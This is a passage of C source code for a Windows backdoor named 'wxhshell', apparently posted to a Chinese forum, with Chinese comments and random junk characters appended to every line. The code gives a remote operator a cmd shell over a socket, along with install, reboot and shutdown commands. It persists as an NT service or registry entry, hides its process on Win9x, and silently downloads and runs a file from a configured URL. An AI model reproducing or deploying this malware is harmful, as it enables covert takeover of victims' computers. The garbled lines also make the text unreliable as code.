  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KV Mm<]Z  
  } IRLT -  
  else { #P1k5!u  
SNcaIzbr  
    switch(cmd[0]) { '/mwXvl  
  I~Ziq10  
  // 帮助 &<4Jyhm:o  
  case '?': { 60*=Bs%b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "gYn$4|R7*  
    break; 94A re<  
  } rB-&'#3%  
  // 安装 1aKY+4/G  
  case 'i': { hH>t  
    if(Install()) VCtj8hKDr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E` BL3+kQ  
    else \G2&   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XK>B mq/]  
    break; M1^pf<!s  
    } 1O8RGk4  
  // 卸载 yqZKn=1:  
  case 'r': { .,I^)8c  
    if(Uninstall()) bNi\+=v<Ys  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !CUrpr/*  
    else ><+wHb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U2seD5I  
    break; ZJ1 %  
    } id'E_]r  
  // 显示 wxhshell 所在路径 Cjdw@v0;  
  case 'p': { r1f##  
    char svExeFile[MAX_PATH]; !{jDZ?z{h  
    strcpy(svExeFile,"\n\r"); g,*LP  
      strcat(svExeFile,ExeFile); %8s$l'Q;  
        send(wsh,svExeFile,strlen(svExeFile),0); A@4sb W_  
    break; P`0}( '"U  
    } 1$H*E~  
  // 重启 ]hRCB=G  
  case 'b': { F[5[@y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -pvF~P?8U  
    if(Boot(REBOOT)) %v5IR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^z>3+oi  
    else { e'Njl?>3  
    closesocket(wsh); Fu].%`*xJ  
    ExitThread(0); ei%L[>N  
    } 8cI<~|4_  
    break; jOV,q%)^,:  
    } j\@Ht~G  
  // 关机 ^VabXGzo#  
  case 'd': { xvU@,bzz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |L wn<y  
    if(Boot(SHUTDOWN)) d.>Zn?u4L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /r2*le (H  
    else { ;&=c@>!xP#  
    closesocket(wsh); 3HCH-?U5  
    ExitThread(0); I8M^]+c  
    } FK ? g  
    break; 4TX~]tEyky  
    } ;l4 epN  
  // 获取shell @,kR<1  
  case 's': { oQ YmywY  
    CmdShell(wsh); n;QMiz:yY  
    closesocket(wsh); A43 mX !g\  
    ExitThread(0); 'z\$.L  
    break; 'Sk-L 5  
  } K%i9S;~  
  // 退出 7UnB]-:.  
  case 'x': { ):<9j"Z;At  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N./l\NtZ  
    CloseIt(wsh); u?xXZ]_u-  
    break; [cfKvROG  
    } ,;%F\<b  
  // 离开 Z2@_F7cXt  
  case 'q': { hsCts@R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7:Cq[u fl  
    closesocket(wsh); pA?kv]l(  
    WSACleanup(); nNj<!}HvV  
    exit(1); ^t0Yh%V7  
    break; V;@kWE>3  
        } &[#iM0;)W0  
  } =pa F6!AB  
  } A*x3O%zH  
Q95`GuI@  
  // 提示信息 S:F8` Gh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6O@/Y;5i  
} T>P[0`*)  
  } P[q 'Y^\  
Lkf}+aY  
  return; <&47W  
} e<Bw duy  
SN<Dxa8Iy  
// shell模块句柄 D:Rr|m0Tk  
int CmdShell(SOCKET sock) P,RdY M06  
{ 1ZZ}ojq  
STARTUPINFO si; 8 o^ h\9I  
ZeroMemory(&si,sizeof(si)); F<9S,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ew,1*WK!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W`k||U9  
PROCESS_INFORMATION ProcessInfo; u#bd*(  
char cmdline[]="cmd"; @hVF}ybp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '.$va<  
  return 0; kklM"Av  
} 1&2X*$]y  
Kf>]M|G c  
// 自身启动模式 %pd-{KR  
int StartFromService(void) Gm1[PAj  
{ 5,~Ju>y*  
typedef struct )1PjI9M  
{ }.S4;#|hw  
  DWORD ExitStatus; I&Dp~aEM]  
  DWORD PebBaseAddress; FBk_LEcX  
  DWORD AffinityMask; 77?D ~N[  
  DWORD BasePriority;  Oye:V  
  ULONG UniqueProcessId; |%HTBF  
  ULONG InheritedFromUniqueProcessId; -1z<,IN+  
}   PROCESS_BASIC_INFORMATION; @b]?Gg  
wR@"]WkR=  
PROCNTQSIP NtQueryInformationProcess; Nk ~"f5q7  
Bsc&#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2leTEs5aK`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B\mRH V!  
[+8in\T i  
  HANDLE             hProcess; W? SFt z  
  PROCESS_BASIC_INFORMATION pbi; !ma%Zk  
Lbwc2Q,.-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +#@)C?G,TF  
  if(NULL == hInst ) return 0; ;jZf VRl  
WJ[ybzVj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SSH 1Ge5|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kaG@T,pH(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WETnrA"N  
8x/]H(J  
  if (!NtQueryInformationProcess) return 0; UD6:X&Un  
M[1!#Q><!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zu52]$Vj  
  if(!hProcess) return 0; e]Q bC "  
>JUOS2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; umJ!j&(  
[5T{`&  
  CloseHandle(hProcess); o1^Rx5  
+`]AutNv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); % Ix   
if(hProcess==NULL) return 0; kH|cB!?x  
Z^_-LX:%  
HMODULE hMod; Z6\H4,k&  
char procName[255]; +ebmve \+  
unsigned long cbNeeded; P+2@,?9#  
wRsh@I<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JK=0juv<E  
2M$^|j:[  
  CloseHandle(hProcess); 5N /NUs   
_i@4R<  
if(strstr(procName,"services")) return 1; // 以服务启动 \&#IK9x{  
0E^6"nt7N  
  return 0; // 注册表启动 mR3-+dB/  
} XFmTr@\M  
H:5- S  
// 主模块 ve&"x Nz<  
int StartWxhshell(LPSTR lpCmdLine) jn,_Ncd#  
{ (Rs052m1  
  SOCKET wsl; @{LD_>R  
BOOL val=TRUE; i8Xz'Sw07  
  int port=0; n~Qo@%Jr  
  struct sockaddr_in door; < ?{ic2j#  
#sHt3z)6I  
  if(wscfg.ws_autoins) Install(); OGWZq(c"6  
/]>8V'e\  
port=atoi(lpCmdLine); Je &O  
u?%FD~l:uU  
if(port<=0) port=wscfg.ws_port; 5e|yW0o  
@ CNe)&U  
  WSADATA data; +.pri  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~/l5ys  
rF\L}& Sw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rn9e#_Az  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &qMt07  
  door.sin_family = AF_INET; /#-zI#iK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kR/Etm5_  
  door.sin_port = htons(port); ^SvGSx i  
reI4!,x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }-N4D"d4o  
closesocket(wsl);  P0<)E  
return 1; \m%Z;xKG  
} kA4bv}  
z{wZLqG  
  if(listen(wsl,2) == INVALID_SOCKET) { ArVW2gL  
closesocket(wsl); _h^er+d!_  
return 1; U%V4@iz~\m  
} &1Cif$Y4w  
  Wxhshell(wsl); PTP0 _|K  
  WSACleanup(); . ytxe!O  
=HHtLW.|,  
return 0; 0u?Vn N<  
rk8Cea  
} awU&{<,=g  
5a%i%+;N  
// 以NT服务方式启动 'BX U '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `;)op3A'  
{ ,Fzuo:{uy  
DWORD   status = 0; -58Sb"f  
  DWORD   specificError = 0xfffffff; 4WXr~?Vq9  
THy{r_dx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =z*SzG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7-("pp YX=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4Hq6nT/  
  serviceStatus.dwWin32ExitCode     = 0; ]FEsN6  
  serviceStatus.dwServiceSpecificExitCode = 0; on.m '-s  
  serviceStatus.dwCheckPoint       = 0; 4Ul*`/d  
  serviceStatus.dwWaitHint       = 0; O &}`R5Y;  
Q`!<2i;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "Tnmn@  
  if (hServiceStatusHandle==0) return; U[G5<&Z^  
ks7id[~&iY  
status = GetLastError(); b&P2VqYgl  
  if (status!=NO_ERROR) 2Q)pT$  
{ R47tg&k6[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; chXTFLC~  
    serviceStatus.dwCheckPoint       = 0; KvmXRf*z  
    serviceStatus.dwWaitHint       = 0; ?o`fX wE  
    serviceStatus.dwWin32ExitCode     = status; .(Tf$V  
    serviceStatus.dwServiceSpecificExitCode = specificError; !~`aEF3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >o5eyi  
    return; N4w&g-  
  } J5SOPG  
sfR0wEqI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V`xE&BI  
  serviceStatus.dwCheckPoint       = 0; ] 69z-;  
  serviceStatus.dwWaitHint       = 0; 1i}p?sU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hh'o:j(^  
} G\#dMCk?  
N:UA+  
// 处理NT服务事件,比如:启动、停止 }0 =gP?.kE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lFD/hz7lc  
{ Ae'N1V  
switch(fdwControl) k@Bn}r  
{ <^"0A  
case SERVICE_CONTROL_STOP: s=1w6ZLD  
  serviceStatus.dwWin32ExitCode = 0; YQaL)t$0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c:,K{ZR  
  serviceStatus.dwCheckPoint   = 0; ,S-zY\XB  
  serviceStatus.dwWaitHint     = 0; c1h?aP  
  { 79}Qj7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~i=5NUE  
  } j,v2(e5:  
  return; 0b+End#mp  
case SERVICE_CONTROL_PAUSE: p"Q V| `  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @.l?V6g9T  
  break; ;w^{PZBg  
case SERVICE_CONTROL_CONTINUE: C[nacAi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g42f*~l  
  break; 6Lz:J:Q)  
case SERVICE_CONTROL_INTERROGATE: y])z,#%ED  
  break; 5<Y-?23  
}; L%fJH_$_s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kXW$[R  
} WGI4DzKa  
Q3aZB*$K  
// 标准应用程序主函数 U&L?IT=x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  6adXE  
{ ,{sCI/  
5j#XNc)"  
// 获取操作系统版本 U\UlQ p?  
OsIsNt=GetOsVer(); ~jM!8]=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5+Hw @CY3  
i`EG80\[Z  
  // 从命令行安装 k>!A~gfP~  
  if(strpbrk(lpCmdLine,"iI")) Install(); +t<'{KZ7;  
<amdPo+2D  
  // 下载执行文件 |Whkq/Zg  
if(wscfg.ws_downexe) { 2qDVAq^@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NZt 8L?  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]VHO'z\m  
} S01 Bc  
L=<{tzTc  
if(!OsIsNt) { DeGcS1_?  
// 如果时win9x,隐藏进程并且设置为注册表启动 gshgl3   
HideProc(); Gcd'- 1  
StartWxhshell(lpCmdLine); }XIUz|  
} *)um^O  
else  ~ A4_  
  if(StartFromService()) DT>Giic  
  // 以服务方式启动 ys Td'J  
  StartServiceCtrlDispatcher(DispatchTable); \,yX3R3}.~  
else Xjnv8{X  
  // 普通方式启动 w $z]Z-  
  StartWxhshell(lpCmdLine); QOKE9R#Y  
f>jAu;S  
return 0; >e9xM Gv  
}
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只看该作者 1 发表于: 2006-10-10
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